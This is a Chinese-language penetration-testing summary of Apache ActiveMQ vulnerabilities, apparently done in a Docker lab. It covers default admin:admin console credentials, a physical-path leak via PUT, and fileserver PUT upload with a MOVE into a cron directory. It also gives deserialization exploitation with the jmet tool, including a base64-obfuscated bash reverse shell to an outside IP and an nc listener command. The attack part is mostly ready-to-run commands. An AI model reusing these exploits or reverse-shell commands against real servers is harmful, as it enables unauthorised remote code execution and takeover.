ActiveMQ漏洞总结

ActiveMQ应用介绍

1
Apache ActiveMQ是Apache软件基金会所研发的开放源代码消息中间件;由于ActiveMQ是一个纯Java程序,因此只需要操作系统支持Java虚拟机,ActiveMQ便可执行。ActiveMQ 是一个完全支持JMS1.1 和J2EE 1.4规范的 JMSProvider实现,尽管 JMS 规范出台已经是很久的事情了,但是JMS在当今的J2EE应用中间仍然扮演着特殊的地位。

ActiveMQ漏洞利用

默认密码

1
2
Console存在默认端口和默认密码/未授权访问(默认密码为admin:admin)
开放端口:61616、8161,环境监听61616端口和8161端口,其中8161为web控制台端口

picture

Web页面http://192.168.50.219:8161/

picture

后台管理地址:
http://192.168.50.219:8161/admin/

picture

ActiveMQ物理路径泄漏漏洞

1
ActiveMQ默认开启PUT请求,当开启PUT时,构造好Payload(即不存在的目录),Response会返回相应的物理路径信息

picture

ActiveMQ PUT任意文件上传漏洞

1
2
3
4
5
ActiveMQ的web控制台分三个应用,admin、api和fileserver,其中admin是管理员页面,api是接口,fileserver是储存文件的接口;admin和api都需要登录后才能使用,fileserver无需登录。

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作,其设计目的是为了弥补消息队列操作不能传输、存储二进制文件的缺陷,但后来发现:
其使用率并不高,文件操作容易出现漏洞
所以,ActiveMQ在5.12.x~5.13.x版本中,已经默认关闭了fileserver这个应用(你可以在conf/jetty.xml中开启之);在5.14.0版本以后,彻底删除了fileserver应用。

PUT开启上传fileserver目录

picture

MOVE协议开启,可上传ssh文件后移动至自启动cron目录

picture

反序列化漏洞

新建目录

使用jmet进行创建目录
1
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME   192.168.10.5   61616
创建队列中查看并点击执行
1
http://192.168.50.219:8161/admin/browse.jsp?JMSDestination=event

picture

picture

查看是否建立成功
1
2
3
进入容器查看
docker ps
docker exec -it dd10f418d325 /bin/bash

picture

反弹shell,bash命令需编码

使用jmet反弹shell攻击
1
2
3
4
5
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSAgPiYvZGV2L3RjcC8xOTIuMTY4LjUwLjI0Mi83Nzc3IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME   192.168.50.217   61616

注释:ubuntu不可以直接反弹shell,需要进行base64编码
bash -i >&/dev/tcp/192.168.50.242/7777 0>&1
http://www.jackson-t.ca/runtime-exec-payloads.html
服务器接收反弹端口
1
nc -lvp 7777

picture